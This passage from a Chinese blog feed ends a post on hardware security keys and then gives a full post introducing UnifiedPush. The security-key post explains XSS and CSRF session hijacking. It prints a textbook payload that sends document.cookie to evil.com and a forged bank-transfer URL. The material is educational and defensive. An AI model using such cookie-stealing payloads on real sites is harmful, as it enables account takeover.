alt="安装效果图" /><figcaption>安装效果图</figcaption></figure></div><p>总之，照着这样操作完毕后，您的专属密钥已大功告成！</p></section>
<section><h2>P9: 碎碎念&amp;注意事项<a href="#p9-碎碎念注意事项"><span>#</span></a></h2><p>你也许会发现，虽然说这篇文章我一直都在鼓吹安全密钥的好处，但我想说的是：其实它<strong>仍然有一定的局限性</strong>，这点我也在撰写当中用括号内短语进行表态。它貌似只能防得住登录请求时的盗号，防不了授权后的盗号情况。</p><p>这是什么意思呢？让我们先从它的<strong>工作原理</strong>入手。</p><section><h3>安全密钥是如何工作的？<a href="#安全密钥是如何工作的"><span>#</span></a></h3><p>安全密钥通过USB或蓝牙与设备通信来工作，在使用安全密钥进行身份验证之前，必须验证正在使用的服务的兼容性，然后向服务注册密钥，然后可以使用该密钥和密码一起登录该服务。</p><p>当用户尝试登录支持安全密钥的服务时，系统会提示用户插入或点击安全密钥以验证身份。安全密钥依赖于公钥加密协议，如FIDO U2F和FIDO2，这些密钥超越了传统的身份验证方法，提供了更强的保护，防止网络钓鱼和凭证盗窃。</p><p>以下是安全密钥的<strong>工作原理</strong>：</p><ul>
<li>
<p><strong>密钥对</strong>：安全密钥会生成唯一的公钥和唯一的私钥，公钥存储在用户正在使用的在线服务中，而私钥存储在安全密钥的硬件芯片中。</p>
</li>
<li>
<p><strong>登录启动</strong>：当登录支持安全密钥的服务时，需要像往常一样输入用户名和密码。</p>
</li>
<li>
<p><strong>询问-响应身份验证</strong>：该服务会生成一个唯一的质询并将其发送到安全密钥，安全密钥使用其私钥对质询进行签名，并将签名的响应发送到服务。</p>
</li>
<li>
<p><strong>验证</strong>：该服务使用存储在其系统中的公钥验证签名。如果它们匹配，则授予访问权限。</p>
</li>
</ul><p>此过程消除了恶意拦截代码或破坏基于软件的身份验证器的风险，即使他们设法窃取了密码，也无法绕过计算机和服务安全密钥的物理存在和加密验证。</p><p>此外，我在另外一个哔站视频评论区看到了以下楼层，这引发了我极大的思索：</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/2ruNNU0.102sbkzsmm.jpg" alt="Token 的重要性" /><figcaption>Token 的重要性</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/LduSIUA.7snty1q5um.jpg" alt="FIDO2 与 Web 鉴权原理及潜在风险" /><figcaption>FIDO2 与 Web 鉴权原理及潜在风险</figcaption></figure></div><p>省流：简单来说，黑客偷的不是你硬件密钥载体上的私钥，而是偷的<strong>签名后的验证信息</strong>，也就是存储在 Cookie 中的 Token 令牌。什么意思呢，就是你回家路上被小偷跟踪了，你用智能门锁用指纹开门进入你的大豪斯的时候，小偷在你没注意的瞬间飞入了你家里，然后偷走了你所有的钱。但是这种作案过程中，小偷不是复制了你的指纹，而是在你开门的刹那闯进去了，就这么简单粗暴！</p></section><section><h3>黑客如何跨过安全密钥门槛盗取你的账号？<a href="#黑客如何跨过安全密钥门槛盗取你的账号"><span>#</span></a></h3><p>比较常见的攻击方式就两个：<strong>CSRF攻击</strong> 和 <strong>XSS攻击</strong></p><section><h4>1. XSS（跨站脚本攻击）—— 真正的 Cookie 盗取者<a href="#1-xss跨站脚本攻击-真正的-cookie-盗取者"><span>#</span></a></h4><p>XSS 的本质是 <strong>代码注入</strong>。攻击者找到机会，在你信任的网站中注入了恶意脚本（通常是 JavaScript）。当你的浏览器执行这个脚本时，脚本就有了你在这个网站上的上下文权限。</p><p><strong>如何盗取 Cookie？</strong></p><p>对于没有设置<code>HttpOnly</code>标志的 Cookie，JavaScript 可以直接读取<code>document.cookie</code>。典型的攻击代码就像这样：</p><div><figure><figcaption><span>script.js</span></figcaption><pre><code><div><div><div>1</div></div><div><span>// 攻击者注入的恶意脚本</span></div></div><div><div><div>2</div></div><div><span>fetch</span><span>(</span><span>'</span><span>https://evil.com/steal?cookie=</span><span>'</span><span> </span><span>+</span><span> document</span><span>.</span><span>cookie)</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>一个具体的攻击流程</strong>：</p><ol>
<li>
<p><strong>注入</strong>： 你在一个论坛/博客评论区，攻击者发了一条评论，内容是<code>&lt;script&gt;fetch('https://evil.com/steal?cookie='+document.cookie)&lt;/script&gt;</code>。网站没过滤，存入了数据库。</p>
</li>
<li>
<p><strong>触发</strong>： 当你（或其他用户）浏览这条包含恶意脚本的评论页面时，你的浏览器会理所当然地执行这段“来自该网站”的脚本。</p>
</li>
<li>
<p><strong>窃取</strong>： 脚本读取了你的<code>document.cookie</code>（其中可能包含你的会话ID），然后直接发送到了攻击者的服务器<code>evil.com</code>。</p>
</li>
<li>
<p><strong>利用</strong>： 攻击者拿到你的会话Cookie，放在自己的浏览器里，无需密码就直接登录了你的账号。</p>
</li>
</ol><p><strong>XSS 的几种常见类型</strong>：</p><ul>
<li>
<p><strong>反射型 XSS</strong>： 恶意脚本藏在 URL 参数里（如<code>search?q=&lt;script&gt;...</code>）。攻击者诱骗你点击这个链接，“反射”后立即执行。通常是一次性的。</p>
</li>
<li>
<p><strong>存储型 XSS</strong>： 恶意脚本被永久存在目标网站的数据库里（如上面评论区的例子）。这是危害最大的，能影响所有访问该页面的用户。</p>
</li>
<li>
<p><strong>DOM 型 XSS</strong>： 完全在前端发生，通过修改页面 DOM 环境执行恶意脚本。</p>
</li>
</ul></section><section><h4>2. CSRF（跨站请求伪造）—— 借你的身份“办事”，但不偷 Cookie<a href="#2-csrf跨站请求伪造-借你的身份办事但不偷-cookie"><span>#</span></a></h4><p>CSRF 常被与 XSS 混淆，但它的原理完全不同。它<strong>无法盗取 Cookie</strong>，而是<strong>非法利用你的 Cookie</strong>。</p><p>CSRF 的本质是 <strong>借权</strong>。攻击者诱导你已登录的浏览器，向目标网站发送一个伪造的、非本意的请求。由于浏览器会自动附带该网站的 Cookie，服务器会认为这个请求是你本人发出的。</p><p><strong>一个典型的攻击流程</strong>：</p><ol>
<li>
<p><strong>登录状态</strong>： 你已经登录了你的银行网站<code>bank.com</code>，浏览器里存着有效的会话 Cookie。</p>
</li>
<li>
<p><strong>诱饵</strong>： 攻击者给你发了一个链接（或者在你常去的论坛上放一张“恶意图片”），指向<code>https://bank.com/transfer?to=attacker&amp;amount=10000</code>。</p>
</li>
<li>
<p><strong>触发</strong>： 你点击了这个链接（或者你的浏览器自动加载了那张图片）。你的浏览器会向<code>bank.com</code>发起 GET 请求，并且<strong>自动附带上你之前保存的 Cookie</strong>。</p>
</li>
<li>
<p><strong>利用</strong>：<code>bank.com</code>服务器收到请求，检查 Cookie 发现你是已登录用户，于是执行转账操作。转走的是你的钱。</p>
</li>
</ol><p><strong>关键区别</strong>： CSRF 全程没有读取过你的 Cookie，它只是利用了浏览器自动发送 Cookie 的机制。“脏活”由你的浏览器替你“合法”完成了。</p></section><section><h4>对比<a href="#对比"><span>#</span></a></h4>

<table><thead><tr><th>特性</th><th>XSS（跨站脚本攻击）</th><th>CSRF（跨站请求伪造）</th></tr></thead><tbody><tr><td><strong>核心本质</strong></td><td>代码注入</td><td>请求伪造</td></tr><tr><td><strong>目标</strong></td><td>盗取信息、执行任意操作</td><td>以你的身份执行特定操作</td></tr><tr><td><strong>能否盗取 Cookie？</strong></td><td><strong>能</strong>（只有<code>&lt;script&gt;</code>能做到）</td><td><strong>不能</strong>（只是利用 Cookie 鉴权）</td></tr><tr><td><strong>原理</strong></td><td>在你信任的网站上执行恶意代码</td><td>诱导你发起非本意的跨站请求</td></tr><tr><td><strong>你对网站的请求</strong></td><td>正常的页面浏览</td><td>包含恶意参数的请求</td></tr><tr><td><strong>浏览器行为</strong></td><td>执行恶意代码，读取 Cookie 并发送</td><td>自动附带 Cookie，发送伪造请求</td></tr></tbody></table></section><section><h4>防范<a href="#防范"><span>#</span></a></h4><p>对于普通用户来说，无论你有没有拥有实体安全密钥，在此之前有没有配置过 2FA 验证，只要<strong>牢记以下几点</strong>：</p><ol>
<li>
<p><strong>检查你的系统环境</strong>: 如果你的 PC 不慎感染了木马，立马使用卡巴斯基、Avast、迈克菲等安全杀毒软件查杀！如果木马/病毒过于顽固可以重装系统，<strong>并在另外一个安全的设备上重新设置密码与安全密钥!</strong></p>
</li>
<li>
<p><strong>检查网站与下载文件安全性</strong>: 我之前编写必应搜索引擎与银狐木马的文章也有提到过这一点，<strong>一定要检测网址与下载后文件有没有带毒！</strong></p>
</li>
<li>
<p><strong>不要连接公共 Wi-Fi</strong>: 公共网络常常是滋生黑客与病毒木马的温床，不安全的网路连接非常容易遭到攻击，黑客通常截获明文传输的数据包实现网络攻击，所以<strong>出门在外请务必关闭自动连接公共Wi-Fi的功能！</strong></p>
</li>
</ol></section></section></section>
<section><h2>P10: 小结<a href="#p10-小结"><span>#</span></a></h2><p>这篇博客文章估计是目前篇幅最长、质量最好的一个文章了，虽然说也有<em>从外部文章缝缝补补</em>、<em>使用AI辅助补充知识</em>的瑕疵，可谓过犹不及，但对于我来说已经足够完美了！</p><p>希望各位阅读完这篇教程后，可以在学习安全知识的同时动手实践一下，体验 Geeker 一般的感受，虽然说目前大陆上玩安全密钥的群体比较小众，但它也是一个值得引起注意与学习的一个好项目。总之，期待读者们也能得到非常多的收获！</p><p>如果有什么感想、文章优化建议、文章论述错误意见等，欢迎你们在评论区抒发自己的感受与提出你们的良好建议，我将会积极响应与反馈！</p><p><strong>THE END</strong></p><p>始编撰于 公元 2026 年 5 月 2 日 农历三月十六</p><p><strong>最后一次更新于 2026 年 5 月 9 日 农历三月廿三</strong></p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E7%A7%91%E6%99%AE/unifiedpush/</id>
      <title type="text">UnifiedPush：自由的去中心化开源推送通知协议</title>
      <published>2026-04-18T00:00:00.000Z</published>
      <updated>2026-04-18T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E7%A7%91%E6%99%AE/unifiedpush/"/>
      <summary type="text">UnifiedPush 是一个去中心化的推送通知系统，允许你选择你想使用的服务。它设计得注重隐私友好、灵活且开放。</summary>
      <content type="html"><![CDATA[<p></p><figure><img alt="完整封面原图" loading="lazy" width="2180" height="1080" src="/_astro/UnifiedPush.th2CijJ-_Nvxzo.webp" /><figcaption>完整封面原图</figcaption></figure><p></p>
<div><div><div></div><div>注意！</div></div><div><p>本文章科普对象<strong>不是</strong> <a href="https://zh.wikipedia.org/wiki/%E7%BB%9F%E4%B8%80%E6%8E%A8%E9%80%81%E5%B7%A5%E4%BD%9C%E5%A7%94%E5%91%98%E4%BC%9A" target="_blank">统一推送联盟</a> (<code>Unified Push Alliance</code> (UPA)，现名<code>“电信终端产业协会统一推送工委会”</code> (TAF) )
</p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pe6bM5Q.232hmfxz9c.png" alt="原先的统一推送联盟已经转生力）" /><figcaption>原先的统一推送联盟已经转生力）</figcaption></figure><p></p></div></div>
<section><h2>引子<a href="#引子"><span>#</span></a></h2><p>我之前为寻找一个体验最棒的移动设备浏览器发愁：Edge 部分插件未登录移动平台，Via 现在用不了大部分油猴脚本了，<a href="https://github.com/uazo/cromite" target="_blank">Cromite</a> 使用体验下来也非常沟槽（插件不适用，不能自定义下载器……）。我尝试转战 Firefox (Gecko) 系列，但发现火狐系的浏览器依旧还是有性能问题：浏览网页很卡。</p><p>但本文主题依旧不是<em>浏览器</em>，而是我使用 <a href="https://f-droid.org/packages/org.mozilla.fennec_fdroid/" target="_blank">Fennec F-droid Browser</a> (一款基于 Firefox 的注重隐私的浏览器分支) 时偶然发现一个新奇的设置选项：它一直提示我未配置<code>“UnifiedPush”</code>需要我去启用。于是激发我的好奇心去主动了解一下这到底是什么东东，花了好几个小时研究配置完体验了一下，才有了这么一个文章。</p></section>
<section><h2>什么是「UnifiedPush」？<a href="#什么是unifiedpush"><span>#</span></a></h2><blockquote><p>UnifiedPush is a decentralized push notification system that lets you choose the service you want to use. It’s designed to be privacy-friendly, flexible, and open — making it perfect if you want control over your push notifications.
—— <a href="https://unifiedpush.org/" target="_blank">UnifiedPush 官网</a></p><p>翻译：</p><p>UnifiedPush 是一个去中心化的推送通知系统，允许你选择你想使用的服务。它设计得注重隐私友好、灵活且开放——如果你想控制推送通知，它非常合适。</p></blockquote><p>简单来说，<strong>UnifiedPush</strong> (译名：统一推送) 就是一个开源的通知推送协议。相较于 Google 的 <a href="https://firebase.google.com/docs/cloud-messaging" target="_blank">FCM</a> (Firebase Cloud Messaging)，苹果的 <a href="https://developer.apple.com/documentation/usernotifications/sending-notification-requests-to-apns" target="_blank">APNs</a> (Apple Push Notification service)，微软的 <a href="https://learn.microsoft.com/en-us/windows/apps/develop/notifications/push-notifications/wns-overview" target="_blank">WNS</a> (Windows Push Notification Services)，以及中国大陆的 <a href="https://upc.taf.org.cn/" target="_blank">统一推送联盟</a> (只是英文撞名了，与 UnifiedPush 无任何关系)，它的优势是 <strong>去中心化</strong>，即不依赖任何单一公司或服务，消息经服务器推送过程中保持点对点(端对端)加密，保障消息推送的隐私安全。</p><blockquote><p>貌似墙内的翻译：<a href="https://www.bilibili.com/read/cv21845282" target="_blank">https://www.bilibili.com/read/cv21845282</a></p></blockquote><section><h3>关于项目来历<a href="#关于项目来历"><span>#</span></a></h3><blockquote><p>参考链接：<a href="https://f-droid.org/zh_Hans/2020/02/03/openpush-talk.html" target="_blank">https://f-droid.org/zh_Hans/2020/02/03/openpush-talk.html</a></p></blockquote><p>它的 原型/前身 可能是 <a href="https://bubu1.eu/openpush" target="_blank">OpenPush</a>，旨在创建一个免费且开源的自架化方案，替代通常通过谷歌专有 Firebase 云消息平台发送的Android推送通知。这最初是 <a href="https://www.prototypefund.de/projects/open-source-push-service-fuer-android-apps" target="_blank">PrototypeFund</a> 项目。开发仍在进行中。(存疑?)我感觉 OpenPush 已经弃坑了，不然 UnifiedPush 也就不会出现了）</p><blockquote><p>关于 <a href="https://www.prototypefund.de/" target="_blank"><strong>PrototypeFund</strong></a> (以下摘抄自官网介绍)</p><p><strong>Wer wir sind?   我们是谁?</strong></p><p>Wir sind der Prototype Fund. Wir fördern Freie- und Open-Source-Software (FOSS) aus der Gesellschaft und für die Gesellschaft.</p><p>我们是原型基金。我们从社会和社会中推广自由开源软件（FOSS）。</p><p>Wir erkennen die gesellschaftliche Dimension und das transformative Potential von FOSS. Wir glauben, dass die Verbreitung und bewusste Nutzung von FOSS die gesellschaftliche Teilhabe bestärkt. Wir sind davon überzeugt, dass FOSS bessere Technologien für alle möglich machen kann.</p><p>我们认识到自由开源软件的社会维度和变革潜力。我们相信，自由开源软件的传播和有意识使用能够增强社会参与。我们坚信，自由开源软件能够让更好的技术惠及所有人。</p><p>Der Prototype Fund richtet sich an User*innen, Entwickler*innen und Contributor-Communities. Wir unterstützen unabhängige Entwickler*innen und setzen uns für die Sichtbarkeit der Projekte und ihres gesellschaftlichen Impact ein. Wir ermöglichen User*innen einen unabhängigen und selbstbestimmten Zugang zu Software. Damit reagieren wir auf das gesellschaftliche Interesse an Freier- und Open-Source-Software.</p><p>原型基金面向用户、开发者和贡献者社区。我们支持独立开发商，致力于项目的可见度及其社会影响。我们为用户提供独立且自主的软件访问权。通过这样做，我们是在回应社会对自由和开源软件的兴趣。</p><p>来自：<a href="https://www.prototypefund.de/ueber-uns/mission" target="_blank">https://www.prototypefund.de/ueber-uns/mission</a></p></blockquote><p>它的诞生主要是为了解决 Android 平台上推送服务被 Google (FCM) 高度垄断，以及许多手机厂商推送标准碎片化的问题。</p></section></section>
<section><h2>为什么要选择「UnifiedPush」？<a href="#为什么要选择unifiedpush"><span>#</span></a></h2><blockquote><p>摘自：<a href="https://unifiedpush.org/" target="_blank">https://unifiedpush.org/</a></p></blockquote><p>UnifiedPush 的 <strong>主要优势</strong>：</p><ul>
<li>
<p><strong>开放标准</strong>： 具备互操作性且有韧性(弹性)。</p>
</li>
<li>
<p><strong>去中心化</strong>： 不依赖任何单一公司或服务，减少对守门人的依赖。</p>
</li>
<li>
<p><strong>隐私优先</strong>： 推送通知是加密的。</p>
</li>
<li>
<p><strong>自我托管</strong>： 你可以自己运行通知服务器，以获得所需的控制权。</p>
</li>
<li>
<p><strong>用户控制</strong>： 用户选择他们使用的服务，而不是开发者。</p>
</li>
</ul><p></p><figure><img alt="所有分发器与应用都兼容" loading="lazy" width="245" height="261" src="/_astro/all-distributors-are-compatible-with-all-apps.DWQzxWSV_2kAOi6.svg" /><figcaption>所有分发器与应用都兼容</figcaption></figure><p></p><p><strong>主要特点</strong>：</p><ul>
<li>
<p><strong>无需特权服务</strong>： 使用轻量级服务并遵循最低权限原则。可在 <strong>去谷歌化 (de-Googled)</strong> 的安卓设备和自定义 ROM 上运行。也可作为用户服务在 Linux 设备上运行。</p>
</li>
<li>
<p><strong>多个发行版(分发商/服务端)</strong>： 从<a href="https://unifiedpush.org/users/distributors/" target="_blank">发行版列表</a>中选择。</p>
</li>
<li>
<p><strong>轻松集成</strong>： 开发者可以轻松地为他们的应用添加 UnifiedPush 支持。</p>
</li>
</ul><p><strong>工作原理</strong> (如下图)：APP送出通知之后，需要一個服务端(Distributor)负责转发消息，再由手机上的APP收发。这里服务器可以自建，也能使用 Mozilla 的公共服务器代发。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pe6btbT.4qrxwsrazh.jpg" alt="工作原理" /><figcaption>工作原理</figcaption></figure><p></p><p>总之，你选择了 <strong>UnifiedPush</strong>，你将拥有很多<strong>隐私与自由</strong>，无需担心你接收的任何一条消息推送会被大厂<strong>监管或拦截</strong>，用户相比开发者拥有<strong>更多自主权</strong>（比如可以自己搭建消息推送服务器，以获得控制权）。</p></section>
<section><h2>如何使用？<a href="#如何使用"><span>#</span></a></h2><section><h3>Step 1: 安装发行版服务端 App<a href="#step-1-安装发行版服务端-app"><span>#</span></a></h3><p>UnifiedPush 官网提供许多服务端，其中 <a href="https://ntfy.sh//" target="_blank">Ntfy</a> 需要自建服务器，提供REST API。有公用节点，但需要注册账号才能使用。这里我推荐 <a href="https://f-droid.org/packages/org.unifiedpush.distributor.sunup/" target="_blank">Sunup</a>，优势是不用注册与不用自建服务器，使用 Mozilla 的推送服务器 ( <a href="https://push.services.mozilla.com" target="_blank">https://push.services.mozilla.com</a> )。</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pe6wsTe.4xv5s8dn9q.png" alt="Sunup 服务端" /><figcaption>Sunup 服务端</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pe6w6FH.46aw3t663.png" alt="Sunup 设置界面" /><figcaption>Sunup 设置界面</figcaption></figure></div></section><section><h3>Step 2: 安装要使用 UnifiedPush 的 App<a href="#step-2-安装要使用-unifiedpush-的-app"><span>#</span></a></h3><p>以 Matrix 客户端 <a href="https://fluffychat.im/en/faq/#push_without_google_services" target="_blank">FluffyChat</a> 为例。<strong>注意：必需要在 <a href="https://f-droid.org/packages/chat.fluffy.fluffychat/" target="_blank">F-Droid</a> 平台上下载！不要从 Google Play 商店下载！</strong> 因为 F-Droid 的 APP 不能依赖 FCM，所以它会要求你使用 UnifiedPush。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pe6whOf.3k8mo731tq.png" alt="Fluffy 通知设置界面" /><figcaption>Fluffy 通知设置界面</figcaption></figure><p></p><p>同理，上文提到的 Fennec 浏览器设置里也有 UnifiedPush 开关，开启后该浏览器的资讯等消息都经过 UnifiedPush 服务端推送。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pe6woTg.5xb95egypv.png" alt="Fennec F-droid Browser 设置界面" /><figcaption>Fennec F-droid Browser 设置界面</figcaption></figure><p></p></section><section><h3>Step 3: 安装后<a href="#step-3-安装后"><span>#</span></a></h3><p>所有 App 都安装完毕之后，FluffyChat 与 Fennec 都会自动检测到 Sunup 的存在，使用这个服务来推送通知。不过 Sunup 會有一个通知一直常驻在通知栏 (起到守护进程作用)，得将其长按关闭。</p></section></section>
<section><h2>底层原理<a href="#底层原理"><span>#</span></a></h2><div><div><div></div><div>Note</div></div><div><p>摘自：<a href="https://f-droid.org/zh_Hans/2022/12/18/unifiedpush.html" target="_blank">https://f-droid.org/zh_Hans/2022/12/18/unifiedpush.html</a></p><p>唉小泠熙怎么码字的时候又在摆烂，直接懒到去官方文档Ctrl+C Ctrl+V了）</p></div></div><p>UnifiedPush 的核心是一个规范。该规范分为两半：</p><ul>
<li>在设备（客户）端，它定义了一个应用编程接口 (API) 以允许<strong>任何最终用户应用</strong>（例如您的消息应用）与<strong>任何分发器应用</strong>（ ntfy、NextPush 等）</li>
<li>在服务器端，API 描述了<strong>应用服务器</strong>（Matrix homeserver、Mastodon 实例等）如何向<strong>推送服务器</strong>（ntfy 服务器、Nextcloud 服务器等）发送消息.</li>
</ul><p>我们的客户端库和参考代理分别协助实施规范的两端。</p><p>为获得 UnifiedPush 端点（向其发送通知的功能 URL），最终用户应用向 UnifiedPush 分发器注册，该分发器与推送服务器保持持续连接。注册后，分发者向应用提供指向推送服务器的唯一 URL。该端点 URL 然后由应用客户端传输到应用服务器。</p><p>当应用服务器需要向最终用户应用发送推送消息时，它会使用简单的 HTTP POST 请求将消息发送到推送服务器。推送服务器然后将推送消息转发给分发器，分发器将其传递给最终用户应用。</p><p>UnifiedPush 的一个关键特性是不指定推送服务器和分发器之间的通信。这意味着可以采用多种技术，例如 WebSocket、服务器发送事件、XMPP、原始 TCP 甚至 SMS，只要最适合用户即可。</p><p></p><figure><img alt="UnifiedPush 底层原理" loading="lazy" width="245" height="261" src="/_astro/unifiedpush-underlying-principle.SGeb7dad_2kAOi6.svg" /><figcaption>UnifiedPush 底层原理</figcaption></figure><p></p><p>分发器使用平台特定的 IPC 机制（例如 Android 上的 Broadcast Intents 或 Linux 上的 D-Bus）来唤醒应用并允许它处理推送消息。然后应用可以处理数据并根据内容决定是否显示通知。重要的是要注意 UnifiedPush 不处理用户可见通知的显示；它只向应用提供数据。因此，应用可以支持各种平台的通知功能，而无需 UnifiedPush 或服务器的参与。</p><p>在应用服务器本身不支持 UnifiedPush 的情况下，推送网关可以将特定于应用的通知转换为 UnifiedPush 服务器协议。一些流行的推送网关，例如用于 Matrix 的推送网关，被直接集成到推送服务器中以方便自托管。此外，Rewrite Proxies 用于推送服务器不支持 UnifiedPush 的极少数情况，例如 FCM 分发器发送 UnifiedPush-over-FCM。</p><p></p><figure><img alt="Push Provider = Push Server" loading="lazy" width="520" height="737" src="/_astro/detailed-component-diagram.Dk8Ef5Gq_f5dgX.webp" /><figcaption>Push Provider = Push Server</figcaption></figure><p></p></section>
<section><h2>针对大陆用户的 FAQ<a href="#针对大陆用户的-faq"><span>#</span></a></h2><section><h3>Q1：哪些软件接入了「UnifiedPush」？<a href="#q1哪些软件接入了unifiedpush"><span>#</span></a></h3><p>A1：参见 <a href="https://unifiedpush.org/users/apps/" target="_blank">Apps using UnifiedPush</a>。</p></section><section><h3>Q2：这其中有包括来自国产(大陆与港澳台)的软件或开源项目吗？<a href="#q2这其中有包括来自国产大陆与港澳台的软件或开源项目吗"><span>#</span></a></h3><p>A2：非常抱歉地告诉你们，我找遍了很多渠道，目前只有 <strong>Nagram、Momogram</strong> 、和一些<strong>私有云工具、NAS管理插件、轻量级 IM 项目、以及自建推送网关(如 MollySocket)</strong> 等，数量少到可怜，用手指头都能数过来的那种，并且还集中在 IM 领域。</p><p>还有，常用的<strong>大众化商业软件</strong>（比如 WeChat、Alipay、抖音不是Tiktok，其实这个也没有接入等）都没有接入 UnifiedPush，原因在于这些软件主要依赖手机厂商自带的通道保证在国内网络环境下达到极高的到达率。资本家不会关心“去中心化”的推送方案的，对他们来说接入这个也没有利益，也无法实现监管达到对用户的控制欲了。</p></section><section><h3>Q3：和“统一推送联盟 (UPA)”区别是什么？<a href="#q3和统一推送联盟-upa区别是什么"><span>#</span></a></h3><p>A3：首先我要说明的是，<strong>很多人容易将 UnifiedPush 与大陆的“统一推送联盟”混淆！</strong> 它们是两套 <strong>完全不同</strong> 的推送系统！</p><ul>
<li><strong>UnifiedPush</strong> 由全球开源社区（主要由 F-Droid 引领）发起，更强调隐私和“去中心化”。</li>
<li><strong>UPA/UPS (统一推送联盟)</strong> 是由 <a href="https://wap.miit.gov.cn/" target="_blank">中华人民共和国工业和信息化部</a> (中国工信部) <strong>直属机构 <a href="http://www.caict.ac.cn/" target="_blank">中国信息通信研究院</a> (中国信通院)</strong> 牵头，旨在推动华为、小米、OPPO 等厂商实现国内推送接口的统一，其背后依然是各家手机厂商的服务器。</li>
</ul></section><section><h3>Q4：在国内开源生态的现状是：<a href="#q4在国内开源生态的现状是"><span>#</span></a></h3><p>A4：目前 UnifiedPush 在国内仍是属于<strong>极客、开源爱好者</strong>的<strong>小众选择</strong>。它经常与 <strong>“去 Google 化”的系统</strong> (如 LineageOS 等) <strong>搭配使用</strong>。我所见过的以及使用过的知名国人开源项目，都未曾针对它进行接入适配，，，</p><blockquote><p>统一推送联盟已经沦陷，亿万人必须使用 UnifiedPush，，，</p></blockquote></section><section><h3>Q5：我应该考虑去使用吗？<a href="#q5我应该考虑去使用吗"><span>#</span></a></h3><p>如果您完全使用自由的端到端加密的通讯软件客户端 (IM) ，以及需要使用其他有隐私保护需求的软件(浏览器等)，且不依赖任何大厂的产品，您可以完全摒弃 FCM 将 UnifiedPush 作为您的默认推送服务。</p><p>若您没有强烈的隐私需求，需要依赖使用许多未接入 UnifiedPush 的软件/项目，您可以选择多种推送服务共存，将 UnifiedPush 作为辅助。</p></section><section><h3>Q6：除了 Android 平台以外，它还支持什么平台？<a href="#q6除了-android-平台以外它还支持什么平台"><span>#</span></a></h3><p>A6：目前除安卓外仅支持 <strong>Linux 平台</strong> (KDE 提供的 <a href="https://unifiedpush.org/users/distributors/kunifiedpush/" target="_blank">KUnifiedPush</a>)。非常抱歉，很遗憾 UnifiedPush 并未登陆 <strong>Windows</strong>、<strong>iOS/iPadOS</strong>、<strong>MacOS</strong> 等 主流平台！</p><p>KDE还是太厉害了，连 FreeBSD 都支持了，But 一个自由的通知推送协议却没支持 GNU/Hurd，有点意外）</p></section><section><h3>Q7：除了 Mozilla 的推送服务器，还有什么可用的适合大陆体质的推送服务器吗？<a href="#q7除了-mozilla-的推送服务器还有什么可用的适合大陆体质的推送服务器吗"><span>#</span></a></h3><p>A7：还是非常抱歉，UnifiedPush 推送服务器<strong>没有可用的大陆服务器公共节点</strong>。目前最佳的方式只有使用 <strong>ntfy 自建节点</strong>，但学习成本较高且对<strong>服务器的资源要求很高</strong>：需要具备<strong>实时处理长连接</strong>的能力。</p></section></section>
<section><h2>碎碎念<a href="#碎碎念"><span>#</span></a></h2><p>起初，我第一次从 Fennec 那边无意发现了它，UnifiedPush 激发我的好奇心比我第一次了解到 FCM、以及各家手机厂商的推送协议（MiPush、HMS Push、OPPO Push等）都更加强烈。毕竟我想不到一个小小的通知推送协议也可以开源透明，同时也符合少数人对隐私的敏感需求，这是在现在通知协议被各大手机厂商垄断的时代都意想不到的。</p><p>但这玩意儿的处境也非常艰难：</p><p>比如上文的 <a href="#%E9%92%88%E5%AF%B9%E5%A4%A7%E9%99%86%E7%94%A8%E6%88%B7%E7%9A%84-faq">FAQ</a> 也提到，对于大陆用户，许多国产软件/开源项目，抑或是大众商业化软件，都不支持 UnifiedPush，这对于开发者与极客用户来说无疑是一个极大的<strong>生态挑战</strong>，这样的推送协议在大陆开源社区的存在感 和棍母没啥区别 非常低。简单类比，在车万社区中，灵梦厨、魔理沙厨和早苗厨不是那个早苗，是东风谷早苗都非常多，在哪随便都能遇到；而冴月麟厨极少能被看见，像是被忽略了）））</p><p>(可能有点冒犯一些群体，属实抱歉)</p><p></p><figure><img alt="隐忍，，，" loading="lazy" width="1920" height="1080" src="/_astro/CommonPushVersusUnifiedPush.C088KyH7_Z1oJvI7.webp" /><figcaption>隐忍，，，</figcaption></figure><p></p><p>这是在大陆的现状。其实放眼全球，无论在哪个互联网社区，UnifiedPush 都依然非常小众，绝大部分国外用户都使用的是 FCM 与 APNs，其实与全球的开源社区/自由软硬件社区一样，终归属于特定的群体小范围传播，很难迈向大众化，同时还要面临大厂的垄断枷锁冲破软硬件市场的防线。如果有一天，某个知名开源软件大众化了，还能保持初心，我看到也没啥可遗憾了）</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pe6jQcd.5mofc9240v.png" alt="这种东西小范围享受就可以了.jpg" /><figcaption>这种东西小范围享受就可以了.jpg</figcaption></figure><p></p><p>补充：你们猜我为什么一直特别强调它的小众特点？因为我撰写这篇文章搜集素材的时候，发现国内关于 UnifiedPush 的记载少之甚少，全是被 腾讯云，CSDN，gitcode 等神秘内容农场充斥着，没有一点有价值的信息供我参考。最后发现只有一丢丢的极少部分的中文 Blog 文章对此有介绍，可见它在中文社区真的小众得不能再小众了。(它的用户群体估计都没 FreeBSD 的个人用户体量大)</p></section>
<section><h2>小结<a href="#小结"><span>#</span></a></h2><p>如果你像我一样，对这个推送协议项目非常感兴趣，你可以根据上文的 <a href="#%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8">教程</a> 来<strong>体验 UnifiedPush 带来的新鲜感</strong>。如果你是接手了一个或多个 Android/Linux 软件开源项目的开发者，读完这篇文章希望你可以为自己的项目接入 UnifiedPush（官网也有开发者文档教你如何接入），<strong>为开源推送协议社区献出一份力量</strong>。如果有朝一日，一种注重隐私的推送服务能被普及开来，对于用户简直利大于弊，从此无论什么消息再也不必担心经过大厂服务器审查或被大厂截获触发警告了。我非常期待这一天的到来……</p><div><div><div></div><div>推荐阅读 👉</div></div><div><ul>
